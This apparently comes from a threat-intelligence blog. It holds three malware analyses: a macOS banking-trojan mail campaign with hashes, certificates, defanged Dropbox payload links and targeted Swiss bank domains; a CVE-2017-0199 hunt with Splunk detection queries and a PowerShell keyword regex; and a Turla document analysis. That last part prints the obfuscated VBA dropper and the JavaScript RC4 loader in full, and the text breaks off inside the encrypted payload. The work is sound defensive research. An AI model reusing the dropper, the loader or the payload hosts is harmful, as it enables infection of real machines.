Also it is very easy to spot this process through the logs:

...
May 28 09:37:05 --- last message repeated 6 times ---
May 28 09:37:05 labtests-Mac com.apple.xpc.launchd[1] (homebrew.mxcl.tor): This service is defined to be constantly running and is inherently inefficient.
...

Lastly, the keychain file, where the certificate is stored, changes when the new certificate has been imported. This file is in/Library/Keychains/

The first samples detected were on the 22/04 and the developer's signature certificate had the serial number "48 CA D4 E6 96 6E 22 D62". Some samples from those dates are:

0e48346ebd57b1b6dbaa0bbad4d579dc 
9e9542cdd28bb74b09b685ab6f0d05da 
aeb933c1e6acca67538bd9b30a1c3337 
e8bdde90574d5bf285d9abb0c8a113a8  
14c1cd9c5f263d5ba988838e0c3e3cf6 
0e48346ebd57b1b6dbaa0bbad4d579dc 
9f25c1a359b9dae3f2c1abba45f0566d 
9e9542cdd28bb74b09b685ab6f0d05da 
a674d0b1d74a3fe7988bd7e59a1894d9 

Then on the 03/05 other  bunch of emails were sent with this malware, but this time the certificate used to sign the maliciuos app had the serial number "12 72 51 B3 2B 9A 50 BD".
Some samples from those days:

473c6a0b2af67c241a29d87e7fd33634
56be5de1952ab4f4a75cfe7e0edd1404 
561e5d2f73b0858913f0c8792df0dcd3 
8805c2674368fe981bc70f220702fad3 
2ee232b1a56f21bdd0b46ba0acd12a22 
87a4bff26626ccf022bda7373241275c 

On the 11/05 another bunch of emails and another different certificate "30 E1 5E 51 24 0E 65 13"

005885b7df33ddc331ae9d330992cb32 
08a3a516ef995fbccff3c383ef3477e7
8f6220b340fcd681af2b95e125d9c1bd 
2d17e6b8d631492d85df6686d5229287 
246906ed9bf9a5e6ddcd2ce63504b023 

16/05, again other round of maliciuos emails and other certificate used " 57 CA 73 4E 7B 02 E2 28"

07b67d95176fb35e70c38561c8d67987
a4aaabc1ce5dab07a7f98f08965f0fce
a6cf153e0fecd92bef90cc6020f03701 
fca0afcec326504ac6257ba49f96820d 
c3a7c3edf99227b7100d283bdfbff37b 
7b67d95176fb35e70c38561c8d67987 
65e1397dfca29c39c9f181504c9e6098 
a4aaabc1ce5dab07a7f98f08965f0fce 
961637c0d8158703141d3c330f88546e 
117ee5735c38f55900df60464378ca7c 
c8ae7b20d562733077798471a3b142ad 
18799cb34889baea83771f6b8ed20278 
c0d7908264ca3a4e5f124153af184a5c

19/05, new wave of emails, other certificate used  "5E 25 44 7D 4F 1A 7E 4D"

8dac2b2dd8cdedafdcd8d6b7793d7fba 
9f4fb4ee1a9f4ae47abe3904d3ccb7c1 
92b34cbc17062c27e42e1dfb08771a92 
8dac2b2dd8cdedafdcd8d6b7793d7fba 
2ba9a98407afdd70631704e9e56d51cf 
cd62c44978cf47de096604b890b9b377 


In all the cases, all the certificates used, were created a day or couple of days before being used to sign the maliciuos app with valid apple developers accounts.

Three days ago, a new wave of emails were sent, and again a new certificate has been used, "61 BA 22 AC 99 02 79 A1". Again, the certificate used was created the day previous to the first sample being detected

It is very interesting to see the pattern between the campaigns of emails sent with the maliciuos app signed with a different certificate each time.




This last sample, however, has a detection rate really low, and only 4 AV detects it as malware. 





Some samples are here:

deb5fca6bc967be8a5bab8dc1b01b2a6 
0100888469947ea58d298381b70e824c 
635e01bc807a20895b533734f6a4aaac 
7b7e8cb4dfd1d2535b9b20a59f463dcd 

e7442877ca35c85ba7fca34231d0ab0c 

In this last wave of emails, there is something interesting which is worth to mentioned. This time, the malicious app is not attached in the email directly, but a PDF file with a link to the malicious app hosted in Dropbox is attached. Also, some typos are in the email ("Amason instead of Amazon")




Another interesting point is that the PDF contains a link to the Windows version of the malware as well (a DOCX file with Macros)

The PDF is in VT since a three days ago: 
https://virustotal.com/en/file/eb0ee996575310d4ab029cd73e21b9d5205f0137269f1b687aa923dfde7eebe0/analysis/


The link to the linked malware are here:

hxxps://www.dropbox.com/s/moqk87enoib3o3o/Dokument_26.05.2017.docx?dl=1

hxxps://www.dropbox.com/s/2baxj6fvb2997v6/Dokument_26.05.2017.zip?dl=1


The windows version of the malware, has not changed since the last time I took a look here, where they were using PowerShell instead of JS.




Since last time I took a look to the Proxifier setup to figure out the banks affected, 49 new  domains of Swiss banks have been included in the list:

*credinvest.ch *bancazarattini.ch *appkb.ch *arabbank.ch *apbank.ch *notenstein-laroche.ch *bankbiz.ch *bankleerau.ch *btv3banken.ch *bhibank.com *dcbank.ch *bnpparibas.com *bordier.com *banquethaler.com *bbva.ch *pbgate.net *cmcic-banquepasche.com *bil.com *bcpconnect.com *banquecramer.ch *banqueduleman.ch *bankhaus-jungholz.ch *sparhafen.ch *bankzimmerberg.ch *bankleerau.ch *vontobel.com *notenstein-laroche.ch *bankbiz.ch *ceanet.ch *ce-riviera.ch *cen.ch *cedc.ch *cbhbank.com *cimbanque.net *cembra.ch *cmvsa.ch *coutts.com *ca-financements.ch *commerzbank.com *dominickco.ch *efginternational.com *exane.com *ekaffoltern.ch *falconpb.com *gemeinschaftsbank.ch *frankfurter-bankgesellschaft.com *glarner-regionalbank.ch *globalance-bank.com *hsbcprivatebank.com






↧

Malspam campaign exploiting CVE-2017-0199: a hunting approach

August 27, 2017, 4:45 am
$
0
0
In the last days I have seen a few malspam emails with RTF files attached.

The content of the mails is fake Shipping order with a ZIP attachment, containing the malicious RTF file.  An example of this file is  https://virustotal.com/#/file/cc1cca6b713f6ab0ddb81639b64e52f12a9875ab1e08034d5722826aef4b3164/detection

This malicious RTF files exploits CVE-2017-0199. 

PowerShell is used by this campaign, hence monitoring suspicious executed PowerShell commands would detect it. I wrote a bit about this approach here.

In this case, monitoring all HTTP/s connections opened by PowerShell would detect it


index=main powershell "tag::eventtype"=network 
| table _time  process DestinationHostname DestinationIp DestinationPort


Or any PowerShell command with suspicious parameters, like for example with the following Splunk query:

index=main  Powershell  | regex CommandLine="(?i).*-en|-e|-encoded|
hidden|download|webclient|invoke-expression|new-object|base64|
createobject|uploadfile.*"| table _time ParentCommandLine CommandLine

Coming back to the initial RTF file,  the PowerShell command executed is as follow:



Which basically acts a dropper for hxxps://www.iso9001-certificare.ro/a/Seal_Encrypted.exe. The malicious file is in VT.             

However, the Use Cases mentioned above are generic Use Cases to detect suspicious Powershell commands, and I am interested in detecting this specific CVE-2017-0199 exploitation scenario.

During the attack phase Winword.exe retrieves a malicious HTA file from a remote server via HTTPs. With this in mind, we can create a search in Splunk to detect any ".hta" file stored  as a temporal internet file in the user "AppData" directory and created by Winword.exe

For example, a query like this does the job:


index=main EventDescription="File Created" Image="*Winword*"
TargetFilename="*AppData*\.hta"| table Image TargetFilename



The file retrieve in this case is hxxps://www.iso9001-certificare.ro/a/12.hta





I have uploaded a copy of the file here https://virustotal.com/#/file/e6bf9b7fbf30e2ba8bc2c6c0ee117f6cbb604b25fb0b4be24a3fb3e062987b3d/community

Another approach is to hunt for any PowerShell command process with Parent Process mshta.exe


index=main  ParentImage="*mshta.exe" CommandLine=*powershell*
| table _time ParentCommandLine CommandLine




Indicators:

www.iso9001-certificare.ro
www.iso9001-certificare.ro/a/12.hta
ww.iso9001-certificare.ro/a/Seal_Encrypted.exe
aea9347409f465a5d9665f868c5258c6 - 12.hta
1db41de874e3539762ea7ea3b416de2d - Po-096.doc
ff61db305ab6f924451cdbe51c66ba1e - Po-096.zip
c1e4f507f85420ad116acf521dc241c6 - drgtgrt.exe
↧
Search

Analysis of a malicious DOC used by Turla APT group; hunting persistence via PowerShell

October 5, 2017, 1:18 pm
$
0
0
Yesterday,  John Lambert (@JohnLaTwC), from Microsoft Threat Intelligence Center twitted about some malicious document used by Turla ATP group.  The malicious document was in VT since a few hours before his tweet 

In a daily basis I have to deal with malicious documents delivered by phishing emails so I was interested in understand how this malicious document works, if a new exploit was used, or any new technique. This analysis allows me to create detection use cases.

The doc file mimics the agenda for an event sent from an embassy 

 


Once the macro has been executed, I can see that the process WINWORD.EXE spawns a WScript.exe command.

A use case which monitor any WScript.exe process which has been spawned  by Office would detect this behaviour.  Same would apply for PowerShell or cmd.exe
This generic Use Case would detect lot of common malware which uses Office documents as infection vector.


After some minutes, the script executes several other commands, like for example 'net use' , 'net share' , 'task list', 'ipconfig'', 'netstat', etc, to map the system and the network.
This is also a valid use case to implement. Obviously, this will need some fine tuning depending on the environment, but as an start point can permit the detection of suspicious behaviour.



At a later stage the same script performs some internet connections. Here again, monitoring any script like wscript.exe, cmd.exe or powershell.exe making connections to Internet can provide a lot of meaningful information. (This is already discussed here http://blog.angelalonso.es/2017/08/malspam-campaign-exploiting-cve-2017.html)


So this malicious file would be detected with a generic use cases which monitor properly some processes and connections.

Now, let's take a look to the code to see if I find something interesting.
The VBA macro is ofuscated






Public OBKHLrC3vEDjVL AsString
Public B8qen2T433Ds1bW AsString
FunctionQ7JOhn5pIl648L6V43V(EjqtNRKMRiVtiQbSblq67() AsByte, M5wI32R3VF2g5B21EK4d AsLong) AsBoolean
Dim THQNfU76nlSbtJ5nX8LY6 AsByte
THQNfU76nlSbtJ5nX8LY6 =45
For i =0To M5wI32R3VF2g5B21EK4d -1
EjqtNRKMRiVtiQbSblq67(i) = EjqtNRKMRiVtiQbSblq67(i) Xor THQNfU76nlSbtJ5nX8LY6
THQNfU76nlSbtJ5nX8LY6 = ((THQNfU76nlSbtJ5nX8LY6 Xor99) Xor (i Mod254))
Next i
Q7JOhn5pIl648L6V43V =True
EndFunction
SubAutoClose()
OnErrorResumeNext
Kill OBKHLrC3vEDjVL
OnErrorResumeNext
Set R7Ks7ug4hRR2weOy7 = CreateObject("Scripting.FileSystemObject")
R7Ks7ug4hRR2weOy7.DeleteFile B8qen2T433Ds1bW &"\*.*", True
Set R7Ks7ug4hRR2weOy7 =Nothing
EndSub
SubAutoOpen()
OnErrorGoTo MnOWqnnpKXfRO
Dim NEnrKxf8l511
Dim N18Eoi6OG6T2rNoVl41W AsLong
Dim M5wI32R3VF2g5B21EK4d AsLong
N18Eoi6OG6T2rNoVl41W = FileLen(ActiveDocument.FullName)
NEnrKxf8l511 = FreeFile
Open (ActiveDocument.FullName) For Binary As #NEnrKxf8l511
Dim E2kvpmR17SI() AsByte
ReDim E2kvpmR17SI(N18Eoi6OG6T2rNoVl41W)
Get #NEnrKxf8l511, 1, E2kvpmR17SI
Dim KqG31PcgwTc2oL47hjd7Oi AsString
KqG31PcgwTc2oL47hjd7Oi = StrConv(E2kvpmR17SI, vbUnicode)
Dim N34rtRBIU3yJO2cmMVu, I4j833DS5SFd34L3gwYQD
Dim VUy5oj112fLw51h6S
Set VUy5oj112fLw51h6S = CreateObject("vbscript.regexp")
VUy5oj112fLw51h6S.Pattern ="MxOH8pcrlepD3SRfF5ffVTy86Xe41L2qLnqTd5d5R7Iq87mWGES55fswgG84hIRdX74dlb1SiFOkR1Hh"
Set I4j833DS5SFd34L3gwYQD = VUy5oj112fLw51h6S.Execute(KqG31PcgwTc2oL47hjd7Oi)
Dim Y5t4Ul7o385qK4YDhr
If I4j833DS5SFd34L3gwYQD.Count =0Then
GoTo MnOWqnnpKXfRO
EndIf
ForEach N34rtRBIU3yJO2cmMVu In I4j833DS5SFd34L3gwYQD
Y5t4Ul7o385qK4YDhr = N34rtRBIU3yJO2cmMVu.FirstIndex
ExitFor
Next
Dim Wk4o3X7x1134j() AsByte
Dim KDXl18qY4rcT AsLong
KDXl18qY4rcT =16827
ReDim Wk4o3X7x1134j(KDXl18qY4rcT)
Get #NEnrKxf8l511, Y5t4Ul7o385qK4YDhr +81, Wk4o3X7x1134j
IfNot Q7JOhn5pIl648L6V43V(Wk4o3X7x1134j(), KDXl18qY4rcT +1) Then
GoTo MnOWqnnpKXfRO
EndIf
B8qen2T433Ds1bW = Environ("appdata") &"\Microsoft\Windows"
Set R7Ks7ug4hRR2weOy7 = CreateObject("Scripting.FileSystemObject")
IfNot R7Ks7ug4hRR2weOy7.FolderExists(B8qen2T433Ds1bW) Then
B8qen2T433Ds1bW = Environ("appdata")
EndIf
Set R7Ks7ug4hRR2weOy7 =Nothing
Dim K764B5Ph46Vh
K764B5Ph46Vh = FreeFile
OBKHLrC3vEDjVL = B8qen2T433Ds1bW &"\"&"maintools.js"
Open (OBKHLrC3vEDjVL) For Binary As #K764B5Ph46Vh
Put #K764B5Ph46Vh, 1, Wk4o3X7x1134j
Close #K764B5Ph46Vh
Erase Wk4o3X7x1134j
Set R66BpJMgxXBo2h = CreateObject("WScript.Shell")
R66BpJMgxXBo2h.Run """"+ OBKHLrC3vEDjVL +""""+" EzZETcSXyKAdF_e5I2i1"
ActiveDocument.Save
ExitSub
MnOWqnnpKXfRO:
Close #K764B5Ph46Vh
ActiveDocument.Save
EndSub

This code, basically creates a JS file C:\Users\user1\AppData\Roaming\Microsoft\Windows\maintools.js and then executes it. However, for the execution to be success it is necessary to use the string  " EzZETcSXyKAdF_e5I2i1"  as parameter.

Moving forward and looking at the JS file C:\Users\user1\AppData\Roaming\Microsoft\Windows\maintools.js I see it is obfuscated





try{var wvy1 = WScript.Arguments;var ssWZ = wvy1(0);var ES3c = y3zb();ES3c = LXv5(ES3c);ES3c = CpPT(ssWZ,ES3c);

eval(ES3c); 
}catch (e)
{WScript.Quit();}function MTvK(CgqD){var XwH7 = CgqD.charCodeAt(0);if (XwH7 ===0x2B|| XwH7 ===0x2D) return62
if (XwH7 ===0x2F|| XwH7 ===0x5F) return63
if (XwH7 <0x30) return-1
if (XwH7 <0x30+10) return XwH7 -0x30+26+26
if (XwH7 <0x41+26) return XwH7 -0x41
if (XwH7 <0x61+26) return XwH7 -0x61+26
}function LXv5(d27x){var LUK7 ="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";var i;var j;var n6T8;if (d27x.length %4>0)
return;var CHlB = d27x.length;var V8eR = d27x.charAt(CHlB -2) ==='='?2: d27x.charAt(CHlB -1) ==='='?1:0
var mjqo =newArray(d27x.length *3/4- V8eR);var z8Ht = V8eR >0? d27x.length -4: d27x.length;var t2JG =0;function XGH6 (b0tQ){mjqo[t2JG++] = b0tQ;}for (i =0,j =0; i < z8Ht; i +=4,j +=3){n6T8 = (MTvK(d27x.charAt(i)) <<18) | (MTvK(d27x.charAt(i +1)) <<12) | (MTvK(d27x.charAt(i +2)) <<6) | MTvK(d27x.charAt(i +3));XGH6((n6T8 &0xFF0000) >>16)
XGH6((n6T8 &0xFF00) >>8)
XGH6(n6T8 &0xFF)
}if (V8eR ===2){n6T8 = (MTvK(d27x.charAt(i)) <<2) | (MTvK(d27x.charAt(i +1)) >>4)
XGH6(n6T8 &0xFF)
}elseif (V8eR ===1){n6T8 = (MTvK(d27x.charAt(i)) <<10) | (MTvK(d27x.charAt(i +1)) <<4) | (MTvK(d27x.charAt(i +2)) >>2)
XGH6((n6T8 >>8) &0xFF)
XGH6(n6T8 &0xFF)
}return mjqo
}function CpPT(bOe3,F5vZ)
{var AWy7 = [];var V2Vl =0;var qyCq;var mjqo ='';for (var i =0; i <256; i++)
{AWy7[i] = i;}for (var i =0; i <256; i++)
{V2Vl = (V2Vl + AWy7[i] + bOe3.charCodeAt(i % bOe3.length)) %256;qyCq = AWy7[i];AWy7[i] = AWy7[V2Vl];AWy7[V2Vl] = qyCq;}var i =0;var V2Vl =0;for (var y =0; y < F5vZ.length; y++)
{i = (i +1) %256;V2Vl = (V2Vl + AWy7[i]) %256;qyCq = AWy7[i];AWy7[i] = AWy7[V2Vl];AWy7[V2Vl] = qyCq;mjqo +=String.fromCharCode(F5vZ[y] ^ AWy7[(AWy7[i] + AWy7[V2Vl]) %256]);}return mjqo;}function y3zb()
{var qGxZ ="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